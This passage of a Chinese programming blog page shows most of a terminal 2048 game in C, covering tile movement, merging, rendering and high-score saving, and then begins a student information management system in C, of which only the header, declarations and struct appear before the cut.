80:move_down();</span><br><span class="line">            break;</span><br><span class="line">          case &#x27;w&#x27;:</span><br><span class="line">          case 72:move_up();</span><br><span class="line">            break;</span><br><span class="line">          case &#x27;d&#x27;:</span><br><span class="line">          case 77:move_right();</span><br><span class="line">            break;</span><br><span class="line">          case &#x27;q&#x27;:</span><br><span class="line">          case 27:if_prepare_exit = 1;</span><br><span class="line">            break;</span><br><span class="line">          default:continue;</span><br><span class="line">        &#125;</span><br><span class="line">#else</span><br><span class="line">        /* 命令解析，上下左右箭头代表上下左右命令，q代表退出 */</span><br><span class="line">        switch (cmd) &#123;</span><br><span class="line">            case &#x27;a&#x27;:</span><br><span class="line">            case KEY_CODE_LEFT:move_left();</span><br><span class="line">                break;</span><br><span class="line">            case &#x27;s&#x27;:</span><br><span class="line">            case KEY_CODE_DOWN:move_down();</span><br><span class="line">                break;</span><br><span class="line">            case &#x27;w&#x27;:</span><br><span class="line">            case KEY_CODE_UP:move_up();</span><br><span class="line">                break;</span><br><span class="line">            case &#x27;d&#x27;:</span><br><span class="line">            case KEY_CODE_RIGHT:move_right();</span><br><span class="line">                break;</span><br><span class="line">            case KEY_CODE_QUIT:if_prepare_exit = 1;</span><br><span class="line">                break;</span><br><span class="line">            default:continue;</span><br><span class="line">        &#125;</span><br><span class="line">#endif</span><br><span class="line">        /* 打破得分纪录 */</span><br><span class="line">        if (score &gt; best) &#123;</span><br><span class="line">            best = score;</span><br><span class="line">            FILE *fp = fopen(config_path, &quot;w&quot;);</span><br><span class="line">            if (fp) &#123;</span><br><span class="line">                fwrite(&amp;best, sizeof(best), 1, fp);</span><br><span class="line">                fclose(fp);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        /* 默认为需要生成随机数时也同时需要刷新显示，反之亦然 */</span><br><span class="line">        if (if_need_add_num) &#123;</span><br><span class="line">            add_rand_num();</span><br><span class="line">            refresh_show();</span><br><span class="line">        &#125; else if (if_prepare_exit) &#123;</span><br><span class="line">            refresh_show();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">/* 重置游戏 函数定义 */</span><br><span class="line">void reset_game() &#123;</span><br><span class="line">    score = 0;</span><br><span class="line">    if_need_add_num = 1;</span><br><span class="line">    if_game_over = 0;</span><br><span class="line">    if_prepare_exit = 0;</span><br><span class="line"></span><br><span class="line">    /* 了解到游戏初始化时出现的两个数一定会有个2，所以先随机生成一个2，其他均为0 */</span><br><span class="line">    int n = rand() % 16;</span><br><span class="line">    int i;</span><br><span class="line">    for (i = 0; i &lt; 4; ++i) &#123;</span><br><span class="line">        int j;</span><br><span class="line">        for (j = 0; j &lt; 4; ++j) &#123;</span><br><span class="line">            board[i][j] = (n-- == 0 ? 2 : 0);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    /* 前面已经生成了一个2，这里再生成一个随机的2或者4，概率之比9:1 */</span><br><span class="line">    add_rand_num();</span><br><span class="line"></span><br><span class="line">    /* 在这里刷新界面并显示的时候，界面上已经默认出现了两个数字，其他的都为空（值为0） */</span><br><span class="line">    refresh_show();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">/* 生成随机数 函数定义 */</span><br><span class="line">void add_rand_num() &#123;</span><br><span class="line">    srand((unsigned int) time(0));</span><br><span class="line">    int n = rand() % get_null_count(); /* 确定在何处空位置生成随机数 */</span><br><span class="line">    int i;</span><br><span class="line">    for (i = 0; i &lt; 4; ++i) &#123;</span><br><span class="line">        int j;</span><br><span class="line">        for (j = 0; j &lt; 4; ++j) &#123;</span><br><span class="line">            /* 定位待生成的位置 */</span><br><span class="line">            if (board[i][j] == 0 &amp;&amp; n-- == 0) &#123;</span><br><span class="line">                board[i][j] = (rand() % 10 ? 2 : 4); /* 生成数字2或4，生成概率为9:1 */</span><br><span class="line">                return;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">/* 获取空位置数量 函数定义 */</span><br><span class="line">int get_null_count() &#123;</span><br><span class="line">    int n = 0;</span><br><span class="line">    int i;</span><br><span class="line">    for (i = 0; i &lt; 4; ++i) &#123;</span><br><span class="line">        int j;</span><br><span class="line">        for (j = 0; j &lt; 4; ++j) &#123;</span><br><span class="line">            board[i][j] == 0 ? ++n : 1;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    return n;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">/* 检查游戏是否结束 函数定义 */</span><br><span class="line">void check_game_over() &#123;</span><br><span class="line">    int i;</span><br><span class="line">    for (i = 0; i &lt; 4; ++i) &#123;</span><br><span class="line">        int j;</span><br><span class="line">        for (j = 0; j &lt; 3; ++j) &#123;</span><br><span class="line">            /* 横向和纵向比较挨着的两个元素是否相等，若有相等则游戏不结束 */</span><br><span class="line">            if (board[i][j] == board[i][j + 1] || board[j][i] == board[j + 1][i]) &#123;</span><br><span class="line">                if_game_over = 0;</span><br><span class="line">                return;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    if_game_over = 1;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">/*</span><br><span class="line"> * 如下四个函数，实现上下左右移动时数字面板的变化算法</span><br><span class="line"> * 左和右移动的本质一样，区别仅仅是列项的遍历方向相反</span><br><span class="line"> * 上和下移动的本质一样，区别仅仅是行项的遍历方向相反</span><br><span class="line"> * 左和上移动的本质也一样，区别仅仅是遍历时行和列互换</span><br><span class="line">*/</span><br><span class="line"></span><br><span class="line">/*  左移 函数定义 */</span><br><span class="line">void move_left() &#123;</span><br><span class="line">    /* 变量i用来遍历行项的下标，并且在移动时所有行相互独立，互不影响 */</span><br><span class="line">    int i;</span><br><span class="line">    for (i = 0; i &lt; 4; ++i) &#123;</span><br><span class="line">        /* 变量j为列下标，变量k为待比较（合并）项的下标，循环进入时k&lt;j */</span><br><span class="line">        int j, k;</span><br><span class="line">        for (j = 1, k = 0; j &lt; 4; ++j) &#123;</span><br><span class="line">            if (board[i][j] &gt; 0) /* 找出k后面第一个不为空的项，下标为j，之后分三种情况 */</span><br><span class="line">            &#123;</span><br><span class="line">                if (board[i][k] == board[i][j]) &#123;</span><br><span class="line">                    /* 情况1：k项和j项相等，此时合并方块并计分 */</span><br><span class="line">                    score += board[i][k++] *= 2;</span><br><span class="line">                    board[i][j] = 0;</span><br><span class="line">                    if_need_add_num = 1; /* 需要生成随机数和刷新界面 */</span><br><span class="line">                &#125; else if (board[i][k] == 0) &#123;</span><br><span class="line">                    /* 情况2：k项为空，则把j项赋值给k项，相当于j方块移动到k方块 */</span><br><span class="line">                    board[i][k] = board[i][j];</span><br><span class="line">                    board[i][j] = 0;</span><br><span class="line">                    if_need_add_num = 1;</span><br><span class="line">                &#125; else &#123;</span><br><span class="line">                    /* 情况3：k项不为空，且和j项不相等，此时把j项赋值给k+1项，相当于移动到k+1的位置 */</span><br><span class="line">                    board[i][++k] = board[i][j];</span><br><span class="line">                    if (j != k) &#123;</span><br><span class="line">                        /* 判断j项和k项是否原先就挨在一起，若不是则把j项赋值为空（值为0） */</span><br><span class="line">                        board[i][j] = 0;</span><br><span class="line">                        if_need_add_num = 1;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">/* 右移 函数定义 */</span><br><span class="line">void move_right() &#123;</span><br><span class="line">    /* 仿照左移操作，区别仅仅是j和k都反向遍历 */</span><br><span class="line">    int i;</span><br><span class="line">    for (i = 0; i &lt; 4; ++i) &#123;</span><br><span class="line">        int j, k;</span><br><span class="line">        for (j = 2, k = 3; j &gt;= 0; --j) &#123;</span><br><span class="line">            if (board[i][j] &gt; 0) &#123;</span><br><span class="line">                if (board[i][k] == board[i][j]) &#123;</span><br><span class="line">                    score += board[i][k--] *= 2;</span><br><span class="line">                    board[i][j] = 0;</span><br><span class="line">                    if_need_add_num = 1;</span><br><span class="line">                &#125; else if (board[i][k] == 0) &#123;</span><br><span class="line">                    board[i][k] = board[i][j];</span><br><span class="line">                    board[i][j] = 0;</span><br><span class="line">                    if_need_add_num = 1;</span><br><span class="line">                &#125; else &#123;</span><br><span class="line">                    board[i][--k] = board[i][j];</span><br><span class="line">                    if (j != k) &#123;</span><br><span class="line">                        board[i][j] = 0;</span><br><span class="line">                        if_need_add_num = 1;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">/* 上移 函数定义 */</span><br><span class="line">void move_up() &#123;</span><br><span class="line">    /* 仿照左移操作，区别仅仅是行列互换后遍历 */</span><br><span class="line">    int i;</span><br><span class="line">    for (i = 0; i &lt; 4; ++i) &#123;</span><br><span class="line">        int j, k;</span><br><span class="line">        for (j = 1, k = 0; j &lt; 4; ++j) &#123;</span><br><span class="line">            if (board[j][i] &gt; 0) &#123;</span><br><span class="line">                if (board[k][i] == board[j][i]) &#123;</span><br><span class="line">                    score += board[k++][i] *= 2;</span><br><span class="line">                    board[j][i] = 0;</span><br><span class="line">                    if_need_add_num = 1;</span><br><span class="line">                &#125; else if (board[k][i] == 0) &#123;</span><br><span class="line">                    board[k][i] = board[j][i];</span><br><span class="line">                    board[j][i] = 0;</span><br><span class="line">                    if_need_add_num = 1;</span><br><span class="line">                &#125; else &#123;</span><br><span class="line">                    board[++k][i] = board[j][i];</span><br><span class="line">                    if (j != k) &#123;</span><br><span class="line">                        board[j][i] = 0;</span><br><span class="line">                        if_need_add_num = 1;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">/* 下移 函数定义 */</span><br><span class="line">void move_down() &#123;</span><br><span class="line">    /* 仿照左移操作，区别仅仅是行列互换后遍历，且j和k都反向遍历 */</span><br><span class="line">    int i;</span><br><span class="line">    for (i = 0; i &lt; 4; ++i) &#123;</span><br><span class="line">        int j, k;</span><br><span class="line">        for (j = 2, k = 3; j &gt;= 0; --j) &#123;</span><br><span class="line">            if (board[j][i] &gt; 0) &#123;</span><br><span class="line">                if (board[k][i] == board[j][i]) &#123;</span><br><span class="line">                    score += board[k--][i] *= 2;</span><br><span class="line">                    board[j][i] = 0;</span><br><span class="line">                    if_need_add_num = 1;</span><br><span class="line">                &#125; else if (board[k][i] == 0) &#123;</span><br><span class="line">                    board[k][i] = board[j][i];</span><br><span class="line">                    board[j][i] = 0;</span><br><span class="line">                    if_need_add_num = 1;</span><br><span class="line">                &#125; else &#123;</span><br><span class="line">                    board[--k][i] = board[j][i];</span><br><span class="line">                    if (j != k) &#123;</span><br><span class="line">                        board[j][i] = 0;</span><br><span class="line">                        if_need_add_num = 1;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">/* 清屏 */</span><br><span class="line">void clear_screen() &#123;</span><br><span class="line">#ifdef _WIN32</span><br><span class="line">    /* 重设光标输出位置清屏可以减少闪烁，system(&quot;cls&quot;)为备用清屏命令，均为Windows平台相关*/</span><br><span class="line">    COORD pos = &#123;0, 0&#125;;</span><br><span class="line">    SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), pos);</span><br><span class="line">    CONSOLE_CURSOR_INFO info = &#123;1, 0&#125;;</span><br><span class="line">    SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &amp;info);</span><br><span class="line">#else</span><br><span class="line">    printf(&quot;\033c&quot;);     /* linux下的清屏命令 */</span><br><span class="line">    printf(&quot;\033[?25l&quot;); /* linux下的隐藏输入光标 */</span><br><span class="line">#endif</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">/* 刷新界面 函数定义 */</span><br><span class="line">void refresh_show() &#123;</span><br><span class="line">    clear_screen();</span><br><span class="line"></span><br><span class="line">    printf(&quot;\n\n\n\n&quot;);</span><br><span class="line">    printf(&quot;                  GAME: 2048     SCORE: %05d     BEST: %06d\n&quot;, score, best);</span><br><span class="line">    printf(&quot;               --------------------------------------------------&quot;);</span><br><span class="line"></span><br><span class="line">    /* 绘制方格和数字 */</span><br><span class="line">    printf(&quot;\n\n                             ┌────┬────┬────┬────┐\n&quot;);</span><br><span class="line">    int i;</span><br><span class="line">    for (i = 0; i &lt; 4; ++i) &#123;</span><br><span class="line">        printf(&quot;                             │&quot;);</span><br><span class="line">        int j;</span><br><span class="line">        for (j = 0; j &lt; 4; ++j) &#123;</span><br><span class="line">            if (board[i][j] != 0) &#123;</span><br><span class="line">                if (board[i][j] &lt; 10) &#123;</span><br><span class="line">                    printf(&quot;  %d │&quot;, board[i][j]);</span><br><span class="line">                &#125; else if (board[i][j] &lt; 100) &#123;</span><br><span class="line">                    printf(&quot; %d │&quot;, board[i][j]);</span><br><span class="line">                &#125; else if (board[i][j] &lt; 1000) &#123;</span><br><span class="line">                    printf(&quot; %d│&quot;, board[i][j]);</span><br><span class="line">                &#125; else if (board[i][j] &lt; 10000) &#123;</span><br><span class="line">                    printf(&quot;%4d│&quot;, board[i][j]);</span><br><span class="line">                &#125; else &#123;</span><br><span class="line">                    int n = board[i][j];</span><br><span class="line">                    int k;</span><br><span class="line">                    for (k = 1; k &lt; 20; ++k) &#123;</span><br><span class="line">                        n = n &gt;&gt; 1;</span><br><span class="line">                        if (n == 1) &#123;</span><br><span class="line">                            printf(&quot;2^%02d│&quot;, k); /* 超过四位的数字用2的幂形式表示，如2^13形式 */</span><br><span class="line">                            break;</span><br><span class="line">                        &#125;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125; else printf(&quot;    │&quot;);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        if (i &lt; 3) &#123;</span><br><span class="line">            printf(&quot;\n                             ├────┼────┼────┼────┤\n&quot;);</span><br><span class="line">        &#125; else &#123;</span><br><span class="line">            printf(&quot;\n                             └────┴────┴────┴────┘\n&quot;);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    printf(&quot;\n&quot;);</span><br><span class="line">    printf(&quot;               --------------------------------------------------\n&quot;);</span><br><span class="line">    printf(&quot;                  [W]:UP [S]:DOWN [A]:LEFT [D]:RIGHT [Q]:EXIT&quot;);</span><br><span class="line"></span><br><span class="line">    if (get_null_count() == 0) &#123;</span><br><span class="line">        check_game_over();</span><br><span class="line"></span><br><span class="line">        /* 判断是否输掉游戏 */</span><br><span class="line">        if (if_game_over) &#123;</span><br><span class="line">            printf(&quot;\r                      GAME OVER! TRY THE GAME AGAIN? [Y/N]:     \b\b\b\b&quot;);</span><br><span class="line">#ifdef _WIN32</span><br><span class="line">            CONSOLE_CURSOR_INFO info = &#123;1, 1&#125;;</span><br><span class="line">            SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &amp;info);</span><br><span class="line">#else</span><br><span class="line">            printf(&quot;\033[?25h&quot;); /* linux下的显示输入光标 */</span><br><span class="line">#endif</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    /* 判断是否准备退出游戏 */</span><br><span class="line">    if (if_prepare_exit) &#123;</span><br><span class="line">        printf(&quot;\r                   DO YOU REALLY WANT TO QUIT THE GAME? [Y/N]:   \b\b&quot;);</span><br><span class="line">#ifdef _WIN32</span><br><span class="line">        CONSOLE_CURSOR_INFO info = &#123;1, 1&#125;;</span><br><span class="line">            SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &amp;info);</span><br><span class="line">#else</span><br><span class="line">        printf(&quot;\033[?25h&quot;); /* linux下的显示输入光标 */</span><br><span class="line">#endif</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    fflush(0); /* 刷新输出缓冲区 */</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">/* 初始化游戏 */</span><br><span class="line">void init_game() &#123;</span><br><span class="line">#ifdef _WIN32</span><br><span class="line">    system(&quot;cls&quot;);</span><br><span class="line"></span><br><span class="line">    /* 获取游戏存档路径，Windows下放在C:\Users\UserName\AppData\Local\2048目录下 */</span><br><span class="line">    char m_lpszDefaultDir[MAX_PATH];</span><br><span class="line">    char szDocument[MAX_PATH] = &#123;0&#125;;</span><br><span class="line">    memset(m_lpszDefaultDir, 0, _MAX_PATH);</span><br><span class="line">    LPITEMIDLIST pidl = NULL;</span><br><span class="line">    SHGetSpecialFolderLocation(NULL, CSIDL_LOCAL_APPDATA, &amp;pidl);</span><br><span class="line">    if (pidl &amp;&amp; SHGetPathFromIDList(pidl, szDocument)) &#123;</span><br><span class="line">    GetShortPathName(szDocument, m_lpszDefaultDir, _MAX_PATH);</span><br><span class="line">    &#125;</span><br><span class="line">    sprintf(config_path, &quot;%s\\2048&quot;, m_lpszDefaultDir);</span><br><span class="line">    if (_access(config_path, 0) == -1) &#123;</span><br><span class="line">    _mkdir(config_path);</span><br><span class="line">    &#125;</span><br><span class="line">    sprintf(config_path, &quot;%s\\2048\\2048.dat&quot;, m_lpszDefaultDir);</span><br><span class="line">#else</span><br><span class="line">    /* 获取游戏存档路径，Linux下放在当前用户主目录下 */</span><br><span class="line">    sprintf(config_path, &quot;%s/.2048&quot;, getenv(&quot;HOME&quot;));</span><br><span class="line"></span><br><span class="line">    tcgetattr(0, &amp;old_config);              /* 获取终端属性 */</span><br><span class="line">    struct termios new_config = old_config; /* 创建新的终端属性 */</span><br><span class="line">    new_config.c_lflag &amp;= ~ICANON;          /* 设置非正规模式 */</span><br><span class="line">    new_config.c_lflag &amp;= ~ECHO;            /* 关闭输入回显 */</span><br><span class="line">    new_config.c_cc[VMIN] = 1;              /* 设置非正规模式下的最小字符数 */</span><br><span class="line">    new_config.c_cc[VTIME] = 0;             /* 设置非正规模式下的读延时 */</span><br><span class="line">    tcsetattr(0, TCSANOW, &amp;new_config);     /* 设置新的终端属性 */</span><br><span class="line"></span><br><span class="line">    printf(&quot;\033[?25l&quot;);</span><br><span class="line"></span><br><span class="line">    signal(SIGINT, release_game);</span><br><span class="line">#endif</span><br><span class="line"></span><br><span class="line">    /* 读取游戏最高分数 */</span><br><span class="line">    FILE *fp = fopen(config_path, &quot;r&quot;);</span><br><span class="line">    if (fp) &#123;</span><br><span class="line">        fread(&amp;best, sizeof(best), 1, fp);</span><br><span class="line">        fclose(fp);</span><br><span class="line">    &#125; else &#123;</span><br><span class="line">        best = 0;</span><br><span class="line">        fp = fopen(config_path, &quot;w&quot;);</span><br><span class="line">        if (fp) &#123;</span><br><span class="line">            fwrite(&amp;best, sizeof(best), 1, fp);</span><br><span class="line">            fclose(fp);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    reset_game();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">/* 释放游戏 */</span><br><span class="line">void release_game(int signal) &#123;</span><br><span class="line">#ifdef _WIN32</span><br><span class="line">    system(&quot;cls&quot;);</span><br><span class="line">    CONSOLE_CURSOR_INFO info = &#123;1, 1&#125;;</span><br><span class="line">    SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &amp;info);</span><br><span class="line">#else</span><br><span class="line">    if (signal == SIGINT) &#123;</span><br><span class="line">        printf(&quot;\n&quot;);</span><br><span class="line">    &#125;</span><br><span class="line">    tcsetattr(0, TCSANOW, &amp;old_config); /* 还原回旧的终端属性 */</span><br><span class="line">    printf(&quot;\033[?25h&quot;);</span><br><span class="line">#endif</span><br><span class="line">    exit(0);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="c语言学生信息管理系统-来自网络"><a href="#c语言学生信息管理系统-来自网络" class="headerlink" title="c语言学生信息管理系统(来自网络)"></a><a href="https://blog.csdn.net/weixin_44369212/article/details/89058548">c语言学生信息管理系统(来自网络)</a></h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br></pre></td><td class="code"><pre><span class="line">#define _CRT_SECURE_NO_WARNINGS 1</span><br><span class="line">#include&lt;stdio.h&gt;/*I/O函数*/</span><br><span class="line">#include&lt;stdlib.h&gt;/*其它说明*/</span><br><span class="line">#include&lt;string.h&gt;/*字符串函数*/</span><br><span class="line"></span><br><span class="line">#define LEN 15/* 学号和姓名最大字符数,实际请更改*/</span><br><span class="line">#define N 50/* 最大学生人数,实际请更改*/</span><br><span class="line"></span><br><span class="line">int k = 1, n = 0, m = 0;/* n代表当前记录的学生人数*/</span><br><span class="line"></span><br><span class="line">//函数声明</span><br><span class="line">void readfile();</span><br><span class="line">void seek();</span><br><span class="line">void modify();</span><br><span class="line">void insert();</span><br><span class="line">void del();</span><br><span class="line">void display();</span><br><span class="line">void save();</span><br><span class="line">void menu();</span><br><span class="line"></span><br><span class="line">//结构体保存学生信息</span><br><span class="line">struct student&#123;</span><br><span class="line">char StudentId[LEN+1];</span><br><span class="line">char StudentName[LEN+1];</span><br><span class="line">int StudentAge;</span><br><span class="line">char StudentSex;</span><br><span class="line">float score[3];</span><br><span class="line">&#125;stu[N];</span><br><span class="line"></span><br><span class="line">//主函数</span><br><span class="line">int main()</span><br><span class="line">&#123;</span><br><span class="line">while (k)</span><br><span class="line">&#123;</span><br><span class="line">menu();</span><br><span class="line">&#125;</span><br><span 